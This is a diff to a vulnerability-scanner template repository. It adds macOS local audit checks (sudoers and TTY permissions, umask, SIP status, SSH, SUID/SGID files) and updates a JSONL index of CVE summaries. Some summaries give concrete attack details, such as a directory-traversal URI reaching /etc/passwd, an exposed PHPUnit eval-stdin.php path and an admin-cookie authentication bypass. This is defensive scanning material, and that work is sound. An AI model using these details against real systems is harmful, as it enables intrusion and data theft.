@@ -0,0 +1,32 @@
+id: insecure-sudoers-permissions
+
+info:
+  name: macOS Insecure /etc/sudoers Permissions
+  author: geeknik
+  severity: high
+  description: |
+    Audits permissions on the /etc/sudoers file that defines which users can run commands with root privileges on macOS.
+  impact: |
+    Insecure permissions on /etc/sudoers could allow unauthorized users to modify the file and grant themselves root privileges.
+  remediation: |
+    Ensure that the /etc/sudoers file is owned by root with a system group (wheel, admin, etc.) and has permissions of 0440 or more restrictive.
+  tags: macos,audit,local,security,sudo
+
+self-contained: true
+
+code:
+  - engine:
+      - sh
+      - bash
+    source: |
+      ls -l /etc/sudoers 2>&1
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 0
+      - type: regex
+        regex:
+          - "^-r--r-----\\s+\\d+\\s+root\\s+\\w+"
+        negative: true
+# digest: 4b0a0048304602210097a287244d9ed09ffb331116f32802392d11aaa8fb0213fc39c35c24166d8beb022100bd0f5ae8e37b1081db8f56616615959457283c1558406ddcb720f041b2aaa582:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,27 @@
+id: insecure-tty-permissions
+
+info:
+  name: macOS World-Readable TTY Devices
+  author: geeknik
+  severity: medium
+  description: |
+    Checks if TTY devices are readable by all users, potentially allowing session snooping.
+  impact: |
+    If TTYs are readable by all users, it may be possible for an attacker to sniff sensitive information from other users' sessions.
+  remediation: |
+    Ensure that TTYs are not readable by all users.
+  tags: macos,audit,local,security,tty
+
+self-contained: true
+
+code:
+  - engine:
+      - sh
+      - bash
+    source: |
+      ls -l /dev/tty*
+    matchers:
+      - type: regex
+        regex:
+          - "crw-rw-rw-.*"
+# digest: 4a0a00473045022100e4abc01b85856b24dcdfa381e0bd89e145134b9bc22ca800b319461178c681740220239dac32ccb77f5a93dacc9aade8a0607f2f3fe0817dd862557c49551ef40cea:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,28 @@
+id: insecure-umask
+
+info:
+  name: macOS Permissive Umask Configuration
+  author: geeknik
+  severity: medium
+  description: |
+    Verifies if the umask is configured with overly permissive values that create insecurely accessible files.
+  impact: |
+    A permissive umask can result in new files being created with world-writable permissions, which can be a security risk.
+  remediation: |
+    Set the umask to a more restrictive value to ensure that new files are created with secure permissions.
+  tags: macos,audit,local,security,umask
+
+self-contained: true
+
+code:
+  - engine:
+      - sh
+      - bash
+    source: |
+      umask
+    matchers:
+      - type: regex
+        regex:
+          - "^0?0[0-2][0-7]$"
+        negative: true
+# digest: 4b0a00483046022100c69d262b8d1b34e76e3555fcdba1fae77480c154bd0e30ba8b0acb7e0ed03e3b022100d2c19fc4e134aa384f4498467fe35d921684fe767e0d2948c4f4066cc8491723:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,27 @@
+id: sip-disabled
+
+info:
+  name: macOS System Integrity Protection (SIP) Disabled
+  author: geeknik
+  severity: high
+  description: |
+    Validates whether System Integrity Protection (SIP) is disabled, removing critical restrictions on system modifications.
+  impact: |
+    Disabling SIP significantly weakens the security of the system, making it more vulnerable to malware and unauthorized modifications.
+  remediation: |
+    Enable System Integrity Protection (SIP) to protect the system from unauthorized modifications.
+  tags: macos,audit,local,security
+
+self-contained: true
+
+code:
+  - engine:
+      - sh
+      - bash
+    source: |
+      csrutil status
+    matchers:
+      - type: word
+        words:
+          - "System Integrity Protection status: disabled."
+# digest: 4b0a00483046022100a9c95ce47a76fc6365a0b50b12e67d6d2da2a2faecd59065b1b0ded05df9ebc9022100a6877fd0ebd4f9c2a736f424a6a383ce72760683f1fd31826405e1f05e945676:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,32 @@
+id: ssh-service-running
+
+info:
+  name: macOS SSH Service Running
+  author: geeknik
+  severity: info
+  description: |
+    Checks if the SSH service (Remote Login) is running on the macOS system.
+  impact: |
+    While not a vulnerability in itself, a running SSH service can be a potential attack vector if not properly configured and secured.
+  remediation: |
+    Disable the SSH service if it is not needed. If it is required, ensure that it is properly configured with strong passwords and key-based authentication.
+  tags: macos,audit,local,security,ssh
+
+self-contained: true
+
+code:
+  - engine:
+      - sh
+      - bash
+    source: |
+      launchctl print system/com.openssh.sshd 2>&1
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 0
+      - type: word
+        words:
+          - "state = running"
+          - "com.openssh.sshd"
+# digest: 4a0a00473045022053ce4877c2b6dd468f675d1170e575f39b925e2aa4deeeec03b1a0ed80e322cc022100de4617540a86bac57c234caa4f163cb06390cd4e5915dd8b8bbb7c835b10d873:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,28 @@
+id: suid-sgid-files
+
+info:
+  name: macOS SUID/SGID Files Detection
+  author: geeknik
+  severity: high
+  description: |
+    Discovers files with SUID or SGID permissions in user-writable directories (/usr/local, /opt, /Applications) that could be exploited for privilege escalation if misconfigured or vulnerable.
+  impact: |
+    Misconfigured SUID/SGID executables in user-writable directories can be exploited by local users to gain elevated privileges.
+  remediation: |
+    Review the list of SUID/SGID files and remove the permissions if they are not necessary.
+  tags: macos,audit,local,security,privesc
+
+self-contained: true
+
+code:
+  - engine:
+      - sh
+      - bash
+    source: |
+      find /usr/local /opt /Applications -perm -4000 -o -perm -2000 -type f -ls 2>/dev/null
+    matchers:
+      - type: regex
+        regex:
+          - "^-rws.*"
+          - "^-..s.*"
+# digest: 4b0a00483046022100dd30985f866765efba07fa5b717ba0293926c4eac8375acdb63235ac56712901022100f2217c9a5f0f16219fe49d888b8195944c5095e3680dd822cbb3dbe840d9a3f0:922c64590222798bb761d5b6d8e72950
@@ -1,5 +1,5 @@
 {"ID":"CVE-2000-0114","Info":{"Name":"Microsoft FrontPage Extensions - Information Disclosure","Severity":"medium","Description":"Frontpage Server Extensions allows remote attackers to determine the name of the anonymous account via an RPC POST request to shtml.dll in the /_vti_bin/ virtual directory.\n","Classification":{"CVSSScore":"5.3"}},"file_path":"http/cves/2000/CVE-2000-0114.yaml"}
-{"ID":"CVE-2000-0760","Info":{"Name":"Jakarta Tomcat 3.1 and 3.0 - Exposure","Severity":"low","Description":"The Snoop servlet in Jakarta Tomcat 3.1 and 3.0 under Apache reveals sensitive system information when a remote attacker requests a nonexistent URL with a .snp extension.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2000/CVE-2000-0760.yaml"}
+{"ID":"CVE-2000-0760","Info":{"Name":"Jakarta Tomcat 3.1 and 3.0 - Information Disclosure","Severity":"medium","Description":"Jakarta Tomcat 3.1 and 3.0 under Apache contain a vulnerability in the Snoop servlet that reveals sensitive system information when a remote attacker requests a nonexistent URL with a .snp extension, exploit requires remote access.\n","Classification":{"CVSSScore":"6.4"}},"file_path":"http/cves/2000/CVE-2000-0760.yaml"}
 {"ID":"CVE-2001-0537","Info":{"Name":"Cisco IOS HTTP Configuration - Authentication Bypass","Severity":"critical","Description":"HTTP server for Cisco IOS 11.3 to 12.2 allows attackers to bypass authentication and execute arbitrary commands, when local authorization is being used, by specifying a high access level in the URL.\n","Classification":{"CVSSScore":"9.3"}},"file_path":"http/cves/2001/CVE-2001-0537.yaml"}
 {"ID":"CVE-2002-1131","Info":{"Name":"SquirrelMail 1.2.6/1.2.7 - Cross-Site Scripting","Severity":"high","Description":"The Virtual Keyboard plugin for SquirrelMail 1.2.6/1.2.7 is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2002/CVE-2002-1131.yaml"}
 {"ID":"CVE-2004-0519","Info":{"Name":"SquirrelMail 1.4.x - Folder Name Cross-Site Scripting","Severity":"medium","Description":"Multiple cross-site scripting (XSS) vulnerabilities in SquirrelMail 1.4.2 allow remote attackers to execute arbitrary script and possibly steal authentication information via multiple attack vectors, including the mailbox parameter in compose.php.","Classification":{"CVSSScore":"6.8"}},"file_path":"http/cves/2004/CVE-2004-0519.yaml"}
@@ -426,6 +426,7 @@
 {"ID":"CVE-2017-14537","Info":{"Name":"Trixbox 2.8.0 - Path Traversal","Severity":"medium","Description":"Trixbox 2.8.0.4 is susceptible to path traversal via the xajaxargs array parameter to /maint/index.php?packages or the lang parameter to /maint/modules/home/index.php.","Classification":{"CVSSScore":"6.5"}},"file_path":"http/cves/2017/CVE-2017-14537.yaml"}
 {"ID":"CVE-2017-14622","Info":{"Name":"WordPress 2kb Amazon Affiliates Store \u003c2.1.1 - Cross-Site Scripting","Severity":"medium","Description":"WordPress 2kb Amazon Affiliates Store plugin before 2.1.1 contains multiple cross-site scripting vulnerabilities. The plugin allows an attacker to inject arbitrary web script or HTML via the (1) page parameter or (2) kbAction parameter in the kbAmz page to wp-admin/admin.php, thus making possible theft of cookie-based authentication credentials and launch of other attacks.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2017/CVE-2017-14622.yaml"}
 {"ID":"CVE-2017-14651","Info":{"Name":"WSO2 Data Analytics Server 3.1.0 - Cross-Site Scripting","Severity":"medium","Description":"WSO2 Data Analytics Server 3.1.0 is susceptible to cross-site scripting in carbon/resources/add_collection_ajaxprocessor.jsp via the collectionName or parentPath parameter.","Classification":{"CVSSScore":"4.8"}},"file_path":"http/cves/2017/CVE-2017-14651.yaml"}
+{"ID":"CVE-2017-14725","Info":{"Name":"WordPress \u003c 4.8.2 - Authenticated Open Redirect","Severity":"medium","Description":"WordPress versions before 4.8.2 contain an open redirect caused by improper validation in wp-admin/edit-tag-form.php and wp-admin/user-edit.php, letting attackers redirect users to malicious sites, exploit requires access to admin interface.\n","Classification":{"CVSSScore":"5.4"}},"file_path":"http/cves/2017/CVE-2017-14725.yaml"}
 {"ID":"CVE-2017-14849","Info":{"Name":"Node.js \u003c8.6.0 - Directory Traversal","Severity":"high","Description":"Node.js before 8.6.0 allows remote attackers to access unintended files because a change to \"..\" handling is incompatible with the pathname validation used by unspecified community modules.","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2017/CVE-2017-14849.yaml"}
 {"ID":"CVE-2017-14942","Info":{"Name":"Intelbras WRN 150 - Authentication Bypass","Severity":"critical","Description":"Intelbras WRN 150 router is vulnerable to authentication bypass through cookie manipulation. An attacker can bypass authentication and download the router configuration file by manipulating the admin:language cookie.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2017/CVE-2017-14942.yaml"}
 {"ID":"CVE-2017-15287","Info":{"Name":"Dreambox WebControl 2.0.0 - Cross-Site Scripting","Severity":"medium","Description":"Dream Multimedia Dreambox devices via their WebControl component are vulnerable to reflected cross-site scripting, as demonstrated by the \"Name des Bouquets\" field, or the file parameter to the /file URI.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2017/CVE-2017-15287.yaml"}
@@ -438,6 +439,7 @@
 {"ID":"CVE-2017-16894","Info":{"Name":"Laravel \u003c5.5.21 - Information Disclosure","Severity":"high","Description":"Laravel through 5.5.21 is susceptible to information disclosure. An attacker can obtain sensitive information such as externally usable passwords via a direct request for the /.env URI. NOTE: CVE pertains only to the writeNewEnvironmentFileWith function in src/Illuminate/Foundation/Console/KeyGenerateCommand.php, which uses file_put_contents without restricting .env permissions. The .env filename is not used exclusively by Laravel.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2017/CVE-2017-16894.yaml"}
 {"ID":"CVE-2017-17043","Info":{"Name":"WordPress Emag Marketplace Connector 1.0 - Cross-Site Scripting","Severity":"medium","Description":"WordPress Emag Marketplace Connector plugin 1.0 contains a reflected cross-site scripting vulnerability because the parameter \"post\" to /wp-content/plugins/emag-marketplace-connector/templates/order/awb-meta-box.php is not filtered correctly.","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2017/CVE-2017-17043.yaml"}
 {"ID":"CVE-2017-17059","Info":{"Name":"WordPress amtyThumb Posts 8.1.3 - Cross-Site Scripting","Severity":"medium","Description":"WordPress amty-thumb-recent-post plugin 8.1.3 contains a cross-site scripting vulnerability via the query string to amtyThumbPostsAdminPg.php.","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2017/CVE-2017-17059.yaml"}
+{"ID":"CVE-2017-17092","Info":{"Name":"WordPress \u003c 4.9.1 - Authenticated JavaScript File Upload","Severity":"medium","Description":"WordPress before 4.9.1 contains a cross-site scripting caused by not requiring unfiltered_html capability for uploading .js files in functions.php, letting remote attackers execute scripts via crafted files, exploit requires upload permissions.\n","Classification":{"CVSSScore":"5.4"}},"file_path":"http/cves/2017/CVE-2017-17092.yaml"}
 {"ID":"CVE-2017-17451","Info":{"Name":"WordPress Mailster \u003c=1.5.4 - Cross-Site Scripting","Severity":"medium","Description":"WordPress Mailster 1.5.4 and before contains a cross-site scripting vulnerability in the unsubscribe handler via the mes parameter to view/subscription/unsubscribe2.php.","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2017/CVE-2017-17451.yaml"}
 {"ID":"CVE-2017-17562","Info":{"Name":"Embedthis GoAhead \u003c3.6.5 - Remote Code Execution","Severity":"high","Description":"description: Embedthis GoAhead before 3.6.5 allows remote code execution if CGI is enabled and a CGI program is dynamically linked.\n","Classification":{"CVSSScore":"8.1"}},"file_path":"http/cves/2017/CVE-2017-17562.yaml"}
 {"ID":"CVE-2017-17731","Info":{"Name":"DedeCMS 5.7 - SQL Injection","Severity":"critical","Description":"DedeCMS through 5.7 has SQL Injection via the $_FILES superglobal to plus/recommend.php.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2017/CVE-2017-17731.yaml"}
@@ -491,6 +493,7 @@
 {"ID":"CVE-2017-5868","Info":{"Name":"OpenVPN Access Server 2.1.4 - CRLF Injection","Severity":"medium","Description":"CRLF injection vulnerability in the web interface in OpenVPN Access Server 2.1.4 allows remote attackers to inject arbitrary HTTP headers and consequently conduct session fixation attacks and possibly HTTP response splitting attacks via \"%0A\" characters in the PATH_INFO to __session_start__/.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2017/CVE-2017-5868.yaml"}
 {"ID":"CVE-2017-5871","Info":{"Name":"Odoo \u003c= 8.0-20160726 \u0026 9.0 - Open Redirect","Severity":"medium","Description":"An Open Redirect vulnerability in Odoo versions \u003c= 8.0-20160726 and 9.0. This issue allows an attacker to redirect users to untrusted sites via a crafted URL.\n","Classification":{"CVSSScore":"5.4"}},"file_path":"http/cves/2017/CVE-2017-5871.yaml"}
 {"ID":"CVE-2017-5982","Info":{"Name":"Kodi 17.1 - Local File Inclusion","Severity":"high","Description":"Kodi 17.1 is vulnerable to local file inclusion vulnerabilities because of insufficient validation of user input.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2017/CVE-2017-5982.yaml"}
+{"ID":"CVE-2017-5983","Info":{"Name":"JIRA Workflow Designer Plugin in Atlassian JIRA Server \u003e 6.3.0 - Remote Code Execution (XXE)","Severity":"critical","Description":"The JIRA Workflow Designer Plugin in Atlassian JIRA Server before 6.3.0 improperly uses an XML parser and deserializer, which allows remote attackers to execute arbitrary code, read arbitrary files, or cause a denial of service via a crafted serialized Java object.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2017/CVE-2017-5983.yaml"}
 {"ID":"CVE-2017-6090","Info":{"Name":"PhpColl 2.5.1 Arbitrary File Upload","Severity":"high","Description":"PhpCollab 2.5.1 and earlier allows remote authenticated users to execute arbitrary code by uploading a file with an executable extension, then accessing it via a direct request to the file in logos_clients/ via clients/editclient.php.","Classification":{"CVSSScore":"8.8"}},"file_path":"http/cves/2017/CVE-2017-6090.yaml"}
 {"ID":"CVE-2017-7269","Info":{"Name":"Windows Server 2003 \u0026 IIS 6.0 - Remote Code Execution","Severity":"critical","Description":"Internet Information Services (IIS) 6.0 in Microsoft Windows Server 2003 R2 contains a buffer overflow vulnerability in the ScStoragePathFromUrl function in the WebDAV service that could allow remote attackers to execute arbitrary code via a long header beginning with \"If \u003chttp://\" in a PROPFIND request.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2017/CVE-2017-7269.yaml"}
 {"ID":"CVE-2017-7391","Info":{"Name":"Magmi 0.7.22 - Cross-Site Scripting","Severity":"medium","Description":"Magmi 0.7.22 contains a cross-site scripting vulnerability due to insufficient filtration of user-supplied data (prefix) passed to the magmi-git-master/magmi/web/ajax_gettime.php URL.","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2017/CVE-2017-7391.yaml"}
@@ -509,7 +512,6 @@
 {"ID":"CVE-2017-9805","Info":{"Name":"Apache Struts2 S2-052 - Remote Code Execution","Severity":"high","Description":"The REST Plugin in Apache Struts 2.1.1 through 2.3.x before 2.3.34 and 2.5.x before 2.5.13 uses an XStreamHandler with an instance of XStream for deserialization without any type of filtering, which can lead to remote code execution when deserializing XML payloads.","Classification":{"CVSSScore":"8.1"}},"file_path":"http/cves/2017/CVE-2017-9805.yaml"}
 {"ID":"CVE-2017-9822","Info":{"Name":"DotNetNuke 5.0.0 - 9.3.0 - Cookie Deserialization Remote Code Execution","Severity":"high","Description":"DotNetNuke (DNN) versions between 5.0.0 - 9.3.0 are affected by a deserialization vulnerability that leads to remote code execution.","Classification":{"CVSSScore":"8.8"}},"file_path":"http/cves/2017/CVE-2017-9822.yaml"}
 {"ID":"CVE-2017-9833","Info":{"Name":"BOA Web Server 0.94.14 - Arbitrary File Access","Severity":"high","Description":"BOA Web Server 0.94.14 is susceptible to arbitrary file access. The server allows the injection of \"../..\" using the FILECAMERA variable sent by GET to read files with root privileges and without using access credentials.","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2017/CVE-2017-9833.yaml"}
-{"ID":"CVE-2017-9841","Info":{"Name":"PHPUnit - Remote Code Execution","Severity":"critical","Description":"PHPUnit before 4.8.28 and 5.x before 5.6.3 allows remote attackers to execute arbitrary PHP code via HTTP POST data beginning with a \"\u003c?php \" substring via Util/PHP/eval-stdin.php , as demonstrated by an attack on a site with an exposed /vendor folder, i.e., external access to the /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php URI.","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2017/CVE-2017-9841.yaml"}
 {"ID":"CVE-2017-9965","Info":{"Name":"Schneider Electric Pelco VideoXpert Enterprise 2.0 - Path Traversal","Severity":"medium","Description":"Schneider Electric Pelco VideoXpert Enterprise versions 2.0 and prior contain a directory traversal caused by insufficient input validation, letting unauthorized persons view web server files, exploit requires no authentication.\n","Classification":{"CVSSScore":"5.8"}},"file_path":"http/cves/2017/CVE-2017-9965.yaml"}
 {"ID":"CVE-2018-0127","Info":{"Name":"Cisco RV132W/RV134W Router - Information Disclosure","Severity":"critical","Description":"Cisco RV132W ADSL2+ Wireless-N VPN Routers and Cisco RV134W VDSL2 Wireless-AC VPN Routers could allow an unauthenticated, remote attacker to view configuration parameters for an affected device via the web interface, which could lead to the disclosure of confidential information.","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2018/CVE-2018-0127.yaml"}
 {"ID":"CVE-2018-0296","Info":{"Name":"Cisco ASA - Local File Inclusion","Severity":"high","Description":"Cisco Adaptive Security Appliances (ASA) web interfaces could allow an unauthenticated, remote attacker to cause an affected device to reload unexpectedly, resulting in a denial of service (DoS) condition. It is also possible on certain software releases that the ASA will not reload, but an attacker could view sensitive system information without authentication by using directory traversal techniques. The vulnerability is due to lack of proper input validation of the HTTP URL. An attacker could exploit this vulnerability by sending a crafted HTTP request to an affected device. An exploit could allow the attacker to cause a DoS condition or unauthenticated disclosure of information. This vulnerability applies to IPv4 and IPv6 HTTP traffic. This vulnerability affects Cisco ASA Software and Cisco Firepower Threat Defense (FTD) Software that is running on the following Cisco products: 3000 Series Industrial Security Appliance (ISA), ASA 1000V Cloud Firewall, ASA 5500 Series Adaptive Security Appliances, ASA 5500-X Series Next-Generation Firewalls, ASA Services Module for Cisco Catalyst 6500 Series Switches and Cisco 7600 Series Routers, Adaptive Security Virtual Appliance (ASAv), Firepower 2100 Series Security Appliance, Firepower 4100 Series Security Appliance, Firepower 9300 ASA Security Module, FTD Virtual (FTDv). Cisco Bug IDs: CSCvi16029.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2018/CVE-2018-0296.yaml"}
@@ -566,6 +568,7 @@
 {"ID":"CVE-2018-1273","Info":{"Name":"Spring Data Commons - Remote Code Execution","Severity":"critical","Description":"Spring Data Commons, versions prior to 1.13 to 1.13.10, 2.0 to 2.0.5,\nand older unsupported versions, contain a property binder vulnerability\ncaused by improper neutralization of special elements.\nAn unauthenticated remote malicious user (or attacker) can supply\nspecially crafted request parameters against Spring Data REST backed HTTP resources\nor using Spring Data's projection-based request payload binding hat can lead to a remote code execution attack.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2018/CVE-2018-1273.yaml"}
 {"ID":"CVE-2018-12909","Info":{"Name":"Webgrind \u003c= 1.5 - Local File Inclusion","Severity":"high","Description":"Webgrind 1.5 relies on user input to display a file, which lets anyone view files from the local filesystem (that the webserver user has access to) via an index.php?op=fileviewer\u0026file= URI\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2018/CVE-2018-12909.yaml"}
 {"ID":"CVE-2018-12998","Info":{"Name":"Zoho manageengine - Cross-Site Scripting","Severity":"medium","Description":"Zoho manageengine is vulnerable to reflected cross-site scripting. This impacts  Zoho ManageEngine Netflow Analyzer before build 123137, Network Configuration Manager before build 123128, OpManager before build 123148, OpUtils before build 123161, and Firewall Analyzer before build 123147 via the parameter 'operation' to /servlet/com.adventnet.me.opmanager.servlet.FailOverHelperServlet.","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2018/CVE-2018-12998.yaml"}
+{"ID":"CVE-2018-13317","Info":{"Name":"TOTOLINK A3002RU 1.0.8 - Information Disclosure","Severity":"medium","Description":"TOTOLINK A3002RU firmware version 1.0.8 contains a vulnerability in which an unauthenticated attacker can obtain the plaintext admin password by making a GET request for `password.htm`. This allows remote attackers to gain administrative access without credentials.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2018/CVE-2018-13317.yaml"}
 {"ID":"CVE-2018-1335","Info":{"Name":"Apache Tika \u003c 1.1.8 - Header Command Injection","Severity":"high","Description":"Apache Tika versions 1.7 to 1.17 allow clients to send carefully crafted headers to tika-server that could be used to inject commands into the command line of the server running tika-server. This vulnerability only affects those running tika-server on a server that is open to untrusted clients.","Classification":{"CVSSScore":"8.1"}},"file_path":"http/cves/2018/CVE-2018-1335.yaml"}
 {"ID":"CVE-2018-13379","Info":{"Name":"Fortinet FortiOS - Credentials Disclosure","Severity":"critical","Description":"Fortinet FortiOS 6.0.0 to 6.0.4, 5.6.3 to 5.6.7 and 5.4.6 to 5.4.12 and FortiProxy 2.0.0, 1.2.0 to 1.2.8, 1.1.0 to 1.1.6, 1.0.0 to 1.0.7 under SSL VPN web portal allows an unauthenticated attacker to download system files via special crafted HTTP resource requests due to improper limitation of a pathname to a restricted directory (path traversal).","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2018/CVE-2018-13379.yaml"}
 {"ID":"CVE-2018-13380","Info":{"Name":"Fortinet FortiOS - Cross-Site Scripting","Severity":"medium","Description":"Fortinet FortiOS 6.0.0 to 6.0.4, 5.6.0 to 5.6.7, 5.4.0 to 5.4.12, 5.2 and below versions under SSL VPN web portal are vulnerable to cross-site scripting and allows attacker to execute unauthorized malicious script code via the error or message handling parameters.","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2018/CVE-2018-13380.yaml"}
@@ -604,6 +607,7 @@
 {"ID":"CVE-2018-16763","Info":{"Name":"FUEL CMS 1.4.1 - Remote Code Execution","Severity":"critical","Description":"FUEL CMS 1.4.1 allows PHP Code Evaluation via the pages/select/ filter parameter or the preview/ data parameter.","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2018/CVE-2018-16763.yaml"}
 {"ID":"CVE-2018-16836","Info":{"Name":"Rubedo CMS \u003c=3.4.0 - Directory Traversal","Severity":"critical","Description":"Rubedo CMS through 3.4.0 contains a directory traversal vulnerability in the theme component, allowing unauthenticated attackers to read and execute arbitrary files outside of the service root path, as demonstrated by a /theme/default/img/%2e%2e/..//etc/passwd URI.","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2018/CVE-2018-16836.yaml"}
 {"ID":"CVE-2018-16979","Info":{"Name":"Monstra CMS 3.0.4 - HTTP Header Injection","Severity":"medium","Description":"Monstra CMS 3.0.4 is susceptible to HTTP header injection in the plugins/captcha/crypt/cryptographp.php cfg parameter. An attacker can potentially supply invalid input and cause the server to allow redirects to attacker-controlled domains, perform cache poisoning, and/or allow improper access to virtual hosts not intended for this purpose. This is a related issue to CVE-2012-2943.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2018/CVE-2018-16979.yaml"}
+{"ID":"CVE-2018-17082","Info":{"Name":"Apache2 - Transfer-Encoding Chunked XSS","Severity":"medium","Description":"Apache2 PHP before 5.6.38, 7.0.x before 7.0.32, 7.1.x before 7.1.22, and 7.2.x before 7.2.10 contain a reflected cross-site scripting vulnerability caused by mishandling of chunked transfer-encoding requests in sapi/apache2handler/sapi_apache2.c. Attackers can execute malicious scripts via crafted requests by sending a specially crafted chunked request.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2018/CVE-2018-17082.yaml"}
 {"ID":"CVE-2018-17153","Info":{"Name":"Western Digital MyCloud NAS - Authentication Bypass","Severity":"critical","Description":"It was discovered that the Western Digital My Cloud device before 2.30.196 is affected by an authentication bypass vulnerability. An unauthenticated attacker can exploit this vulnerability to authenticate as an admin user without needing to provide a password, thereby gaining full control of the device. (Whenever an admin logs into My Cloud, a server-side session is created that is bound to the user's IP address. After the session is created, it is possible to call authenticated CGI modules by sending the cookie username=admin in the HTTP request. The invoked CGI will check if a valid session is present and bound to the user's IP address.) It was found that it is possible for an unauthenticated attacker to create a valid session without a login. The network_mgr.cgi CGI module contains a command called \\\"cgi_get_ipv6\\\" that starts an admin session -- tied to the IP address of the user making the request -- if the additional parameter \\\"flag\\\" with the value \\\"1\\\" is provided. Subsequent invocation of commands that would normally require admin privileges now succeed if an attacker sets the username=admin cookie.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2018/CVE-2018-17153.yaml"}
 {"ID":"CVE-2018-17173","Info":{"Name":"LG Supersign EZ CMS - Remote Code Execution","Severity":"critical","Description":"LG SuperSign CMS allows remote attackers to execute arbitrary code via the sourceUri parameter to qsr_server/device/getThumbnail.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2018/CVE-2018-17173.yaml"}
 {"ID":"CVE-2018-17207","Info":{"Name":"WordPress Duplicator Plugin \u003c 1.2.42 - Arbitrary Code Execution","Severity":"critical","Description":"An issue was discovered in Snap Creek Duplicator before 1.2.42. By accessing leftover installer files (installer.php and installer-backup.php), an attacker can inject PHP code into wp-config.php during the database setup step, achieving arbitrary code execution.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2018/CVE-2018-17207.yaml"}
@@ -758,6 +762,7 @@
 {"ID":"CVE-2019-14696","Info":{"Name":"Open-School 3.0/Community Edition 2.3 - Cross-Site Scripting","Severity":"medium","Description":"Open-School 3.0, and Community Edition 2.3, allows cross-site scripting via the osv/index.php?r=students/guardians/create id parameter.","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2019/CVE-2019-14696.yaml"}
 {"ID":"CVE-2019-14750","Info":{"Name":"osTicket \u003c 1.12.1 - Cross-Site Scripting","Severity":"medium","Description":"An issue was discovered in osTicket before 1.10.7 and 1.12.x before 1.12.1. Stored XSS exists in setup/install.php. It was observed that no input sanitization was provided in the firstname and lastname fields of the application. The insertion of malicious queries in those fields leads to the execution of those queries. This can further lead to cookie stealing or other malicious actions.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2019/CVE-2019-14750.yaml"}
 {"ID":"CVE-2019-14789","Info":{"Name":"Custom 404 Pro \u003c 3.2.8 - Cross-Site Scripting","Severity":"medium","Description":"Custom 404 Pro before 3.2.9 is susceptible to cross-site scripting via the title parameter due to insufficient input sanitization and output escaping. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2019/CVE-2019-14789.yaml"}
+{"ID":"CVE-2019-14950","Info":{"Name":"WP Live Chat Support \u003c= 8.0.27 — Stored Cross-Site Scripting","Severity":"medium","Description":"wp-live-chat-support plugin before 8.0.27 for WordPress contains a reflected cross-site scripting caused by insufficient sanitization in the GDPR page, letting attackers execute arbitrary scripts in the context of the victim's browser, exploit requires victim to visit a malicious page.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2019/CVE-2019-14950.yaml"}
 {"ID":"CVE-2019-14974","Info":{"Name":"SugarCRM Enterprise 9.0.0 - Cross-Site Scripting","Severity":"medium","Description":"SugarCRM Enterprise 9.0.0 contains a cross-site scripting vulnerability via mobile/error-not-supported-platform.html?desktop_url.","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2019/CVE-2019-14974.yaml"}
 {"ID":"CVE-2019-15043","Info":{"Name":"Grafana - Improper Access Control","Severity":"high","Description":"Grafana 2.x through 6.x before 6.3.4 is susceptible to improper access control. An attacker can delete and create arbitrary snapshots, leading to denial of service.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2019/CVE-2019-15043.yaml"}
 {"ID":"CVE-2019-15107","Info":{"Name":"Webmin \u003c= 1.920 - Unauthenticated Remote Command Execution","Severity":"critical","Description":"Webmin \u003c=1.920. is vulnerable to an unauthenticated remote command execution via the parameter 'old' in password_change.cgi.","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2019/CVE-2019-15107.yaml"}
@@ -818,7 +823,10 @@
